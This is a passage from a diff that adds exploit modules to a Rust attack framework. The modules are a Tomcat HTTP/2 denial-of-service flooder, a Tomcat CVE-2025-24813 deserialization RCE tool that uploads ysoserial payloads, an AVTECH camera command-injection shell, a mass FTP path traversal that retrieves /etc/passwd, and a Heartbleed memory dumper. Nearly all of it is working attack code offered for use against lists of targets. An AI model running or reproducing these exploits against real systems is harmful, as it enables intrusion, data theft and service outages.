+    Ok(false)
+}

src/modules/exploits/acti/mod.rs

@@ -0,0 +1 @@
+pub mod acm_5611_rce;

src/modules/exploits/apache_tomcat/catkiller_cve_2025_31650.rs

@@ -0,0 +1,193 @@
+use anyhow::{anyhow, bail, Result};
+use colored::*;
+use rand::Rng;
+use reqwest::{ClientBuilder};
+use std::io::{self, Write};
+use std::net::{TcpStream, ToSocketAddrs};
+use std::time::Duration;
+use tokio::time::sleep;
+use rand::prelude::IndexedRandom;
+
+/// TomcatKiller - CVE-2025-31650
+/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
+pub async fn run(target: &str) -> Result<()> {
+    println!("{}", "===== TomcatKiller - CVE-2025-31650 =====".blue());
+    println!("Developed by: @absholi7ly");
+    println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.");
+    println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow());
+
+    let port = prompt_for_port().unwrap_or(443);
+    let normalized = if target.starts_with("http://") || target.starts_with("https://") {
+        target.to_string()
+    } else {
+        format!("https://{}", target)
+    };
+
+    let (host, _) = match validate_url(&normalized) {
+        Ok(hp) => hp,
+        Err(e) => {
+            eprintln!("{}", format!("Invalid target URL: {e}").red());
+            return Err(e);
+        }
+    };
+
+    let clean_host = strip_ipv6_brackets(&host);
+    let num_tasks = 300;
+    let requests_per_task = 100000;
+
+    match check_http2_support(&clean_host, port).await {
+        Ok(true) => {
+            println!("{}", format!("Starting attack on {}:{}...", clean_host, port).green());
+            println!("Tasks: {}, Requests per task: {}", num_tasks, requests_per_task);
+            println!("{}", "Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.".yellow());
+
+            let monitor_handle = tokio::spawn(monitor_server(clean_host.clone(), port));
+            let mut handles = Vec::new();
+
+            for i in 0..num_tasks {
+                let h = clean_host.clone();
+                handles.push(tokio::spawn(send_invalid_priority_requests(h, port, requests_per_task, i)));
+            }
+
+            for handle in handles {
+                let _ = handle.await;
+            }
+
+            monitor_handle.abort();
+        }
+        Ok(false) => {
+            bail!("Target does not support HTTP/2. Exploit not applicable.");
+        }
+        Err(e) => {
+            eprintln!("{}", format!("[!] Error checking HTTP/2 support: {e}").red());
+            return Err(e);
+        }
+    }
+
+    Ok(())
+}
+
+fn prompt_for_port() -> Option<u16> {
+    print!("{}", "Enter target port (default 443): ".cyan());
+    io::stdout().flush().ok()?;
+
+    let mut buffer = String::new();
+    io::stdin().read_line(&mut buffer).ok()?;
+
+    let trimmed = buffer.trim();
+    if trimmed.is_empty() {
+        Some(443)
+    } else {
+        trimmed.parse::<u16>().ok()
+    }
+}
+
+fn strip_ipv6_brackets(host: &str) -> String {
+    host.trim_matches(|c| c == '[' || c == ']').to_string()
+}
+
+fn validate_url(url: &str) -> Result<(String, u16)> {
+    let parsed = url::Url::parse(url)?;
+    let host = parsed.host_str().ok_or_else(|| anyhow!("Invalid URL format"))?.to_string();
+    let port = parsed.port_or_known_default().unwrap_or(443);
+    Ok((host, port))
+}
+
+async fn check_http2_support(host: &str, port: u16) -> Result<bool> {
+    let client = ClientBuilder::new()
+        .http2_prior_knowledge()
+        .danger_accept_invalid_certs(true)
+        .timeout(Duration::from_secs(5))
+        .build()?;
+
+    let url = format!("https://{}:{}/", host, port);
+    let resp = client.get(&url).header("user-agent", "TomcatKiller").send().await;
+
+    match resp {
+        Ok(response) => {
+            if response.version() == reqwest::Version::HTTP_2 {
+                println!("{}", "HTTP/2 supported! Proceeding ...".green());
+                Ok(true)
+            } else {
+                println!("{}", "Server responded, but HTTP/2 not used.".yellow());
+                Ok(false)
+            }
+        }
+        Err(e) => {
+            println!("{}", format!("Connection failed: {}:{}. Reason: {e}", host, port).red());
+            Ok(false)
+        }
+    }
+}
+
+async fn send_invalid_priority_requests(host: String, port: u16, count: usize, task_id: usize) {
+    let priorities = get_invalid_priorities();
+    let client = match ClientBuilder::new()
+        .http2_prior_knowledge()
+        .danger_accept_invalid_certs(true)
+        .timeout(Duration::from_millis(300))
+        .build()
+    {
+        Ok(c) => c,
+        Err(_) => return,
+    };
+
+    let url = format!("https://{}:{}/", host, port);
+
+    for _ in 0..count {
+        let prio = priorities.choose(&mut rand::rng()).unwrap().to_string();
+        let headers = [
+            ("priority", prio),
+            ("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::<u32>())),
+            ("cache-control", "no-cache".to_string()),
+            ("accept", format!("*/*; q={}", rand::rng().random_range(0.1..1.0))),
+        ];
+
+        let mut req = client.get(&url);
+        for (k, v) in headers.iter() {
+            req = req.header(*k, v);
+        }
+
+        let _ = req.send().await;
+    }
+}
+
+async fn monitor_server(host: String, port: u16) {
+    loop {
+        let addr_result = format!("{}:{}", host, port).to_socket_addrs();
+
+        match addr_result {
+            Ok(mut addrs) => {
+                if let Some(addr) = addrs.next() {
+                    if TcpStream::connect_timeout(&addr, Duration::from_secs(2)).is_ok() {
+                        println!("{}", format!("Target {}:{} is reachable.", host, port).yellow());
+                    } else {
+                        println!("{}", format!("Target {}:{} unreachable or crashed!", host, port).red());
+                        break;
+                    }
+                } else {
+                    println!("{}", "DNS lookup failed.".red());
+                    break;
+                }
+            }
+            Err(_) => {
+                println!("{}", "Failed to resolve host for monitoring.".red());
+                break;
+            }
+        }
+
+        sleep(Duration::from_secs(2)).await;
+    }
+}
+
+fn get_invalid_priorities() -> Vec<&'static str> {
+    vec![
+        "u=-1, q=2", "u=4294967295, q=-1", "u=-2147483648, q=1.5", "u=0, q=invalid",
+        "u=1/0, q=NaN", "u=1, q=2, invalid=param", "", "u=1, q=1, u=2",
+        "u=99999999999999999999, q=0", "u=-99999999999999999999, q=0", "u=, q=",
+        "u=1, q=1, malformed", "u=1, q=, invalid", "u=-1, q=4294967295",
+        "u=invalid, q=1", "u=1, q=1, extra=😈", "u=1, q=1; malformed", "u=1, q=1, =invalid",
+        "u=0, q=0, stream=invalid", "u=1, q=1, priority=recursive", "u=1, q=1, %invalid%",
+        "u=0, q=0, null=0",
+    ]
+}

src/modules/exploits/apache_tomcat/cve_2025_24813_apache_tomcat_rce.rs

@@ -0,0 +1,320 @@
+use anyhow::{bail, Result};
+use regex::Regex;
+use reqwest::{Client, StatusCode};
+use std::io::{self, Write};
+use std::path::Path;
+use std::process::{Command, Stdio};
+use std::time::Duration;
+use tokio::fs::{read, remove_file};
+
+const BANNER: &str = r#"
+ ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██████╗ ██████╗
+██╔════╝██║   ██║██╔────╝    ╚════██╗██╔══██╗██╔══██╗██╔══██╗
+██║     ██║   ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║  ██║
+██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║  ██║
+╚██████╗ ╚████╔╝ ███████╗    ██████╔╝██║  ██║██║  ██║██████╔╝
+ ╚═════╝  ╚═══╝  ╚══════╝    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝
+"#;
+
+/// // Sanitize IPv6 URL
+fn sanitize_target(raw: &str) -> String {
+    let fixed = raw.replace("[[", "[").replace("]]", "]");
+    if fixed.starts_with("http://") || fixed.starts_with("https://") {
+        fixed
+    } else {
+        format!("http://{}", fixed)
+    }
+}
+
+/// // Prompt helper
+fn prompt(message: &str, default: Option<&str>) -> String {
+    print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
+    io::stdout().flush().unwrap();
+    let mut buf = String::new();
+    io::stdin().read_line(&mut buf).unwrap();
+    let input = buf.trim();
+    if input.is_empty() {
+        default.unwrap_or("").to_string()
+    } else {
+        input.to_string()
+    }
+}
+
+/// // Check if server is writable
+async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
+    let check_url = format!("{}/check.txt", target_url);
+    let res = client
+        .put(&check_url)
+        .header("Host", format!("{host}:{port}"))
+        .header("Content-Length", "10000")
+        .header("Content-Range", "bytes 0-1000/1200")
+        .body("testdata".to_string())
+        .timeout(Duration::from_secs(10))
+        .send()
+        .await?;
+
+    if res.status() == StatusCode::OK || res.status() == StatusCode::CREATED {
+        println!("[+] Server is writable via PUT: {check_url}");
+        Ok(true)
+    } else {
+        println!("[-] Server not writable: HTTP {}", res.status());
+        Ok(false)
+    }
+}
+
+/// // Generate a raw Java payload JAR via `javac` and `jar`
+fn generate_java_payload(command: &str, payload_file: &str) -> Result<()> {
+    let payload_java = format!(
+        r#"
+import java.io.IOException;
+import java.io.PrintWriter;
+
+public class Exploit {{
+    static {{
+        try {{
+            String cmd = "{cmd}";
+            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(
+                Runtime.getRuntime().exec(cmd).getInputStream()
+            ));
+            String line;
+            StringBuilder output = new StringBuilder();
+            while ((line = reader.readLine()) != null) {{
+                output.append(line).append("\\n");
+            }}
+            PrintWriter out = new PrintWriter(System.out);
+            out.println(output.toString());
+            out.flush();
+        }} catch (IOException e) {{
+            e.printStackTrace();
+        }}
+    }}
+}}
+"#,
+        cmd = command
+    );
+
+    println!("[*] Generating Java payload using system javac and jar...");
+
+    std::fs::write("Exploit.java", &payload_java)?;
+    let compile = Command::new("javac").arg("Exploit.java").status()?;
+    if !compile.success() {
+        bail!("[-] javac failed. Make sure JDK is installed.");
+    }
+
+    let package = Command::new("jar")
+        .args(["cfe", payload_file, "Exploit", "Exploit.class"])
+        .status()?;
+
+    if !package.success() {
+        bail!("[-] jar packaging failed.");
+    }
+
+    std::fs::remove_file("Exploit.java").ok();
+    std::fs::remove_file("Exploit.class").ok();
+
+    println!("[+] Java payload JAR created: {}", payload_file);
+    Ok(())
+}
+
+/// // Generate ysoserial payload
+fn generate_ysoserial_payload(command: &str, ysoserial_path: &str, gadget: &str, payload_file: &str) -> Result<()> {
+    if !Path::new(ysoserial_path).exists() {
+        bail!("[-] Error: {} not found", ysoserial_path);
+    }
+
+    println!("[*] Generating ysoserial payload: {}", command);
+    let output = Command::new("java")
+        .args(["-jar", ysoserial_path, gadget, &format!("cmd.exe /c {}", command)])
+        .stdout(Stdio::piped())
+        .spawn()?
+        .wait_with_output()?;
+
+    std::fs::write(payload_file, output.stdout)?;
+    println!("[+] Payload generated: {payload_file}");
+    Ok(())
+}
+
+/// // Upload and verify payload
+async fn upload_and_verify_payload(
+    client: &Client,
+    target_url: &str,
+    host: &str,
+    port: &str,
+    session_id: &str,
+    payload_file: &str,
+) -> Result<bool> {
+    let exploit_url = format!("{}/uploads/../sessions/{}.session", target_url, session_id);
+    let payload = read(payload_file).await?;
+
+    let res = client
+        .put(&exploit_url)
+        .header("Host", format!("{host}:{port}"))
+        .header("Content-Length", "10000")
+        .header("Content-Range", "bytes 0-1000/1200")
+        .body(payload)
+        .send()
+        .await?;
+
+    if res.status() == StatusCode::CONFLICT {
+        println!("[+] Upload successful (409): {}", exploit_url);
+
+        let confirm = client
+            .get(target_url)
+            .header("Cookie", "JSESSIONID=absholi7ly")
+            .send()
+            .await?;
+
+        if confirm.status() == StatusCode::INTERNAL_SERVER_ERROR {
+            println!("[+] Exploit triggered! Server returned 500.");
+            Ok(true)
+        } else {
+            println!("[-] Trigger failed: {}", confirm.status());
+            Ok(false)
+        }
+    } else {
+        println!("[-] Upload failed: HTTP {}", res.status());
+        Ok(false)
+    }
+}
+
+/// // Get session ID
+async fn get_session_id(client: &Client, target_url: &str) -> Result<String> {
+    let res = client
+        .get(&format!("{}/index.jsp", target_url))
+        .send()
+        .await?;
+
+    let body = res.text().await?;
+    let re = Regex::new(r"Session ID: (\w+)")?;
+
+    if let Some(caps) = re.captures(&body) {
+        return Ok(caps[1].to_string());
+    }
+
+    println!("[-] No session ID found. Using default.");
+    Ok("absholi7ly".to_string())
+}
+
+/// // Exploit logic
+async fn execute_exploit(
+    target_url: &str,
+    port: &str,
+    command: &str,
+    ysoserial_path: &str,
+    gadget: &str,
+    payload_type: &str,
+    verify_ssl: bool,
+) -> Result<()> {
+    let host = target_url.split("://").nth(1).unwrap_or(target_url).trim_matches('/').split(':').next().unwrap();
+    let client = Client::builder().danger_accept_invalid_certs(!verify_ssl).build()?;
+    let session_id = get_session_id(&client, target_url).await?;
+
+    println!("[*] Session ID: {session_id}");
+
+    if check_writable_servlet(&client, target_url, host, port).await? {
+        let payload_file = "payload.ser";
+
+        match payload_type {
+            "java" => generate_java_payload(command, payload_file)?,
+            "ysoserial" => generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)?,
+            _ => bail!("[-] Invalid payload type: {}", payload_type),
+        }
+
+        if upload_and_verify_payload(&client, target_url, host, port, &session_id, payload_file).await? {
+            println!("[+] Target vulnerable to CVE-2025-24813!");
+        } else {
+            println!("[-] Exploit failed or target not vulnerable.");
+        }
+
+        remove_file(payload_file).await.ok();
+    }
+
+    Ok(())
+}
+
+/// // Entry point
+pub async fn run(target: &str) -> Result<()> {
+    println!("{BANNER}");
+
+    let mut target = sanitize_target(target);
+    println!("[+] Target sanitized: {}", target);
+
+    let mut command = String::from("calc.exe");
+    let mut port = prompt("Enter port (default 8080)", Some("8080"));
+    println!("[+] Default port set to {}", port);
+
+    let mut ysoserial_path = String::from("ysoserial.jar");
+    let mut gadget = String::from("CommonsCollections6");
+    let mut payload_type = String::from("ysoserial");
+    let mut ssl_verify = true;
+
+    loop {
+        println!(
+            r#"
+=== MENU ===
+1. Set Target URL     (current: {target})
+2. Set Command        (current: {command})
+3. Set Port           (current: {port})
+4. Set ysoserial Path (current: {ysoserial_path})
+5. Set Gadget         (current: {gadget})
+6. Set Payload Type   (current: {payload_type})
+7. Toggle SSL Verify  (current: {ssl_verify})
+8. Run Exploit
+9. Exit
+"#
+        );
+
+        let selection = prompt("Select an option", None);
+        match selection.as_str() {
+            "1" => {
+                target = prompt("Enter target URL", Some(&target));
+                println!("[+] Target updated: {target}");
+            }
+            "2" => {
+                command = prompt("Enter command to execute", Some(&command));
+                println!("[+] Command set: {command}");
+            }
+            "3" => {
+                port = prompt("Enter port", Some(&port));
+                println!("[+] Port set: {port}");
+            }
+            "4" => {
+                ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path));
+                println!("[+] ysoserial path set: {ysoserial_path}");
+            }
+            "5" => {
+                gadget = prompt("Enter gadget", Some(&gadget));
+                println!("[+] Gadget set: {gadget}");
+            }
+            "6" => {
+                payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type));
+                if payload_type != "ysoserial" && payload_type != "java" {
+                    println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
+                    payload_type = "ysoserial".into();
+                } else {
+                    println!("[+] Payload type set: {payload_type}");
+                }
+            }
+            "7" => {
+                ssl_verify = !ssl_verify;
+                println!("[!] SSL verification toggled: {ssl_verify}");
+            }
+            "8" => break,
+            "9" => {
+                println!("[!] Exiting without running exploit.");
+                return Ok(());
+            }
+            _ => println!("[-] Invalid option. Please choose 1-9."),
+        }
+    }
+
+    println!("[*] Starting exploit with:");
+    println!("    Target URL   : {target}");
+    println!("    Command      : {command}");
+    println!("    Port         : {port}");
+    println!("    ysoserial    : {ysoserial_path}");
+    println!("    Gadget       : {gadget}");
+    println!("    SSL Verify   : {ssl_verify}");
+
+    execute_exploit(&target, &port, &command, &ysoserial_path, &gadget, &payload_type, ssl_verify).await
+}

src/modules/exploits/apache_tomcat/mod.rs

@@ -0,0 +1,3 @@
+pub mod cve_2025_24813_apache_tomcat_rce;
+pub mod catkiller_cve_2025_31650;
+

src/modules/exploits/avtech/cve_2024_7029_avtech_camera.rs

@@ -0,0 +1,114 @@
+use anyhow::Result;
+use reqwest::Client;
+use std::io::{self, Write};
+use std::path::Path;
+use std::time::Duration;
+use tokio::io::{AsyncBufReadExt, BufReader};
+
+/// // Ensures the target string has a scheme (http://) and includes port
+fn normalize_url(ip: &str, port: &str) -> String {
+    let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
+        ip.to_string()
+    } else {
+        format!("http://{}", ip)
+    };
+
+    let port = port.trim();
+    if port.is_empty() {
+        with_scheme
+    } else if with_scheme.contains(':') {
+        with_scheme // already has port
+    } else {
+        format!("{}:{}", with_scheme, port)
+    }
+}
+
+/// // Check if the device is vulnerable to CVE-2024-7029
+async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
+    let mut url = reqwest::Url::parse(base)?;
+    url.set_path("/cgi-bin/supervisor/Factory.cgi");
+    url.query_pairs_mut()
+        .append_pair("action", "Set")
+        .append_pair("brightness", "1;echo_CVE7029;");
+    let resp = client.get(url).send().await?;
+    let body = resp.text().await?;
+    Ok(body.contains("echo_CVE7029"))
+}
+
+/// // Interactive shell to send arbitrary commands
+async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
+    let stdin = tokio::io::stdin();
+    let mut lines = BufReader::new(stdin).lines();
+
+    loop {
+        print!("cve7029-shell> ");
+        io::stdout().flush()?;
+        if let Some(cmd) = lines.next_line().await? {
+            let cmd = cmd.trim();
+            if cmd.eq_ignore_ascii_case("exit") {
+                break;
+            }
+            match exec_cmd(client, base, cmd).await {
+                Ok(out) => println!("{}", out),
+                Err(e) => eprintln!("Error: {}", e),
+            }
+        } else {
+            break;
+        }
+    }
+    Ok(())
+}
+
+/// // Execute a remote command by abusing the brightness parameter
+async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
+    let mut url = reqwest::Url::parse(base)?;
+    url.set_path("/cgi-bin/supervisor/Factory.cgi");
+    let payload = format!("1;{};", cmd);
+    url.query_pairs_mut()
+        .append_pair("action", "Set")
+        .append_pair("brightness", &payload);
+    let response = client.get(url).send().await?;
+    Ok(response.text().await?)
+}
+
+/// // Prompt user for a custom port number
+fn prompt_port() -> Result<String> {
+    print!("Enter port to use [default: 80]: ");
+    io::stdout().flush()?;
+    let mut port = String::new();
+    io::stdin().read_line(&mut port)?;
+    let port = port.trim();
+    Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
+}
+
+/// // Entry point required for RouterSploit-inspired dispatch system
+pub async fn run(target: &str) -> Result<()> {
+    let port = prompt_port()?;
+    let client = Client::builder()
+        .danger_accept_invalid_certs(true)
+        .timeout(Duration::from_secs(5))
+        .build()?;
+
+    // // Handle either single IP or file of targets
+    let targets = if Path::new(target).exists() {
+        tokio::fs::read_to_string(target)
+            .await?
+            .lines()
+            .map(str::to_string)
+            .collect::<Vec<_>>()
+    } else {
+        vec![target.to_string()]
+    };
+
+    for raw_ip in &targets {
+        let url = normalize_url(raw_ip, &port);
+        if check_vuln(&client, &url).await? {
+            println!("[+] {} is vulnerable!", url);
+            interactive_shell(&client, &url).await?;
+        } else {
+            println!("[-] {} is not vulnerable", url);
+        }
+    }
+
+    Ok(())
+}

src/modules/exploits/avtech/mod.rs

@@ -0,0 +1 @@
+pub mod cve_2024_7029_avtech_camera;

src/modules/exploits/ftp/mod.rs

@@ -0,0 +1 @@
+pub mod pachev_ftp_path_traversal_1_0;

src/modules/exploits/ftp/pachev_ftp_path_traversal_1_0.rs

@@ -0,0 +1,190 @@
+use anyhow::{anyhow, Result};
+use ftp::FtpStream;
+use std::net::ToSocketAddrs;
+use std::fs::{File, OpenOptions};
+use std::io::{copy, BufRead, BufReader, Write};
+use std::path::Path;
+use tokio::task;
+use tokio::sync::Semaphore;
+use futures::stream::{FuturesUnordered, StreamExt};
+use colored::*; // // Colorful output
+use std::time::Duration;
+use tokio::time::timeout;
+
+const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
+const FTP_TIMEOUT_SECONDS: u64 = 10;    // // Timeout per FTP connection
+
+// // Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
+fn format_addr(target: &str, port: u16) -> String {
+    let mut clean = target.trim().to_string();
+
+    while clean.starts_with('[') && clean.ends_with(']') {
+        clean = clean[1..clean.len() - 1].to_string();
+    }
+
+    if clean.contains(':') {
+        format!("[{}]:{}", clean, port)
+    } else {
+        format!("{}:{}", clean, port)
+    }
+}
+
+// // Actual FTP path traversal exploit
+fn exploit_target(target: String, port: u16) -> Result<String> {
+    let addr = format_addr(&target, port);
+
+    println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
+
+    let mut ftp = FtpStream::connect(
+        addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Failed to resolve address"))?
+    )
+    .map_err(|e| anyhow!("FTP connection error: {}", e))?;
+
+    ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
+    println!("{}", "[+] Logged in successfully as 'pachev'.".green());
+
+    println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
+
+    let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
+        .map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
+        .into_inner();
+    let mut reader = std::io::Cursor::new(reader);
+
+    let safe_name = target.replace(['[', ']', ':'], "_");
+    let out_file = format!("{}_passwd.txt", safe_name);
+    let mut file = File::create(&out_file)?;
+    copy(&mut reader, &mut file)?;
+
+    ftp.quit().ok();
+
+    println!("{}", format!("[+] File saved as {}", out_file).green());
+
+    Ok(format!("{} SUCCESS", target))
+}
+
+// // Save result line into `results.txt`
+fn save_result(line: &str) -> Result<()> {
+    let mut file = OpenOptions::new()
+        .create(true)
+        .append(true)
+        .open("results.txt")?;
+
+    writeln!(file, "{}", line)?;
+    Ok(())
+}
+
+// // Public auto-dispatch entry point
+pub async fn run(target: &str) -> Result<()> {
+    let target = target.to_string(); // // Own target early to avoid lifetime issues
+
+    println!("Enter the FTP port (default 21):");
+    let mut port_input = String::new();
+    std::io::stdin().read_line(&mut port_input)?;
+    let port_input = port_input.trim();
+    let port = if port_input.is_empty() {
+        21
+    } else {
+        port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number"))?
+    };
+
+    println!("Do you want to use a list of IPs? (yes/no):");
+    let mut use_list = String::new();
+    std::io::stdin().read_line(&mut use_list)?;
+    let use_list = use_list.trim().to_lowercase();
+
+    if use_list == "yes" || use_list == "y" {
+        println!("Enter path to the IP list file:");
+        let mut path = String::new();
+        std::io::stdin().read_line(&mut path)?;
+        let path = path.trim();
+
+        if !Path::new(path).exists() {
+            return Err(anyhow!("List file does not exist: {}", path));
+        }
+
+        let file = File::open(path)?;
+        let reader = BufReader::new(file);
+
+        let semaphore = std::sync::Arc::new(Semaphore::new(MAX_CONCURRENT_TASKS));
+        let mut futures = FuturesUnordered::new();
+
+        for line_result in reader.lines() {
+            match line_result {
+                Ok(ip) => {
+                    let ip = ip.trim();
+                    if ip.is_empty() {
+                        continue;
+                    }
+                    let ip_owned = ip.to_string();
+                    let port = port;
+                    let target_clone = target.clone(); // // Clone per task
+                    let permit = semaphore.clone().acquire_owned().await?;
+
+                    println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
+
+                    futures.push(tokio::spawn(async move {
+                        let _permit = permit; // // Hold permit alive
+                        let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
+
+                        match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
+                            Ok(Ok(Ok(success))) => {
+                                println!("{}", format!("[+] Success: {}", success).green());
+                                save_result(&success)?;
+                            }
+                            Ok(Ok(Err(e))) => {
+                                println!("{}", format!("[!] Exploit error: {}", e).red());
+                                save_result(&format!("{} FAIL: {}", target_clone, e))?;
+                            }
+                            Ok(Err(e)) => {
+                                println!("{}", format!("[!] Join error: {}", e).red());
+                                save_result(&format!("{} FAIL: Join error {}", target_clone, e))?;
+                            }
+                            Err(_) => {
+                                println!("{}", format!("[!] Timeout while exploiting {}", target_clone).red());
+                                save_result(&format!("{} TIMEOUT", target_clone))?;
+                            }
+                        }
+
+                        Ok::<(), anyhow::Error>(())
+                    }));
+                }
+                Err(e) => {
+                    println!("{}", format!("[!] Failed to read line: {}", e).red());
+                }
+            }
+        }
+
+        // // Wait for all tasks to complete
+        while let Some(res) = futures.next().await {
+            if let Err(e) = res {
+                println!("{}", format!("[!] Task error: {}", e).red());
+            }
+        }
+    } else {
+        // // Single target mode
+        let target_owned = target.to_string();
+        let port = port;
+
+        let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
+        match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
+            Ok(Ok(Ok(success))) => {
+                println!("{}", format!("[+] Success: {}", success).green());
+                save_result(&success)?;
+            }
+            Ok(Ok(Err(e))) => {
+                println!("{}", format!("[!] Exploit error: {}", e).red());
+                save_result(&format!("{} FAIL: {}", target, e))?;
+            }
+            Ok(Err(e)) => {
+                println!("{}", format!("[!] Join error: {}", e).red());
+                save_result(&format!("{} FAIL: Join error {}", target, e))?;
+            }
+            Err(_) => {
+                println!("{}", format!("[!] Timeout while exploiting {}", target).red());
+                save_result(&format!("{} TIMEOUT", target))?;
+            }
+        }
+    }
+
+    Ok(())
+}

src/modules/exploits/generic/heartbleed.rs

@@ -0,0 +1,174 @@
+use anyhow::{Context, Result};
+use std::fs::File;
+use std::io::Write;
+use std::net::ToSocketAddrs;
+use std::path::Path;
+use std::time::{SystemTime, UNIX_EPOCH};
+use tokio::io::{AsyncReadExt, AsyncWriteExt};
+use tokio::net::TcpStream;
+use tokio::time::{timeout, Duration};
+
+/// Entry point for dispatcher – uses default port 443
+pub async fn run(target: &str) -> Result<()> {
+    run_with_port(target, 443).await
+}
+
+/// Full Heartbleed scanner with user-defined port (used internally)
+pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
+    // 1) Trim whitespace and strip _all_ bracket layers:
+    let raw = target.trim();
+    let stripped = raw
+        .trim_start_matches('[')
+        .trim_end_matches(']');
+
+    // 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
+    let host = if stripped.contains(':') {
+        format!("[{}]", stripped)
+    } else {
+        stripped.to_string()
+    };
+
+    // 3) Build the addr string with port:
+    let addr = format!("{}:{}", host, port);
+
+    println!("[*] Connecting to {}...", addr);
+    let socket_addr = addr
+        .to_socket_addrs()
+        .context("Invalid target address format")?
+        .next()
+        .context("Could not resolve target address")?;
+
+    let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
+    let mut stream = match stream_result {
+        Ok(Ok(s)) => s,
+        Ok(Err(e)) => {
+            println!("[-] Connection to {} failed: {}", socket_addr, e);
+            return Ok(());
+        }
+        Err(_) => {
+            println!("[-] Connection to {} timed out", socket_addr);
+            return Ok(());
+        }
+    };
+
+    println!("[*] Sending Client Hello...");
+    stream.write_all(&build_client_hello()).await?;
+
+    let mut response = vec![0u8; 4096];
+    let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
+    match read_result {
+        Ok(Ok(n)) if n > 0 => {}
+        Ok(Ok(_)) => {
+            println!("[-] No response to Client Hello");
+            return Ok(());
+        }
+        Ok(Err(e)) => {
+            println!("[-] Read error: {}", e);
+            return Ok(());
+        }
+        Err(_) => {
+            println!("[-] Read timed out (Client Hello response)");
+            return Ok(());
+        }
+    }
+
+    println!("[*] Sending Heartbeat...");
+    stream.write_all(&build_heartbeat_request(0x4000)).await?;
+
+    let mut leak = vec![0u8; 65535];
+    let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
+    let n = match read_result {
+        Ok(Ok(n)) if n > 0 => n,
+        Ok(Ok(_)) => {
+            println!("[-] No heartbeat response.");
+            return Ok(());
+        }
+        Ok(Err(e)) => {
+            println!("[-] Read error: {}", e);
+            return Ok(());
+        }
+        Err(_) => {
+            println!("[-] Read timed out (heartbeat response)");
+            return Ok(());
+        }
+    };
+
+    println!("[+] Received {} bytes in heartbeat response!", n);
+    let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
+    let path = Path::new(&filename);
+    let mut file = File::create(path)
+        .with_context(|| format!("Failed to create dump file '{}'", filename))?;
+    file.write_all(&leak[..n])
+        .with_context(|| format!("Failed to write leak data to '{}'", filename))?;
+    println!("[+] Leak dump saved to: {}", filename);
+    println!("{}", printable_dump(&leak[..n]));
+
+    Ok(())
+}
+
+/// Builds a TLS ClientHello message
+fn build_client_hello() -> Vec<u8> {
+    let version: u16 = 0x0302; // TLS 1.1
+    let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
+
+    let mut random = vec![];
+    random.extend_from_slice(&time_now.to_be_bytes());
+    random.extend_from_slice(&vec![0x42; 28]);
+
+    let cipher_suites: Vec<u16> = vec![
+        0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
+    ];
+
+    let mut hello = vec![];
+    hello.extend_from_slice(&version.to_be_bytes());
+    hello.extend_from_slice(&random);
+    hello.push(0); // Session ID length
+    hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
+    for cs in &cipher_suites {
+        hello.extend_from_slice(&cs.to_be_bytes());
+    }
+    hello.push(1); // Compression methods length
+    hello.push(0); // No compression
+
+    let mut extensions = vec![];
+    extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
+    extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
+    extensions.push(0x01); // Extension data
+
+    hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
+    hello.extend_from_slice(&extensions);
+
+    let mut handshake = vec![0x01];
+    let len = (hello.len() as u32).to_be_bytes();
+    handshake.extend_from_slice(&len[1..]);
+    handshake.extend_from_slice(&hello);
+
+    build_tls_record(0x16, version, &handshake)
+}
+
+/// Builds a malicious Heartbeat request
+fn build_heartbeat_request(length: u16) -> Vec<u8> {
+    let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
+    payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
+    build_tls_record(0x18, 0x0302, &payload)
+}
+
+/// Wraps payload in a TLS record
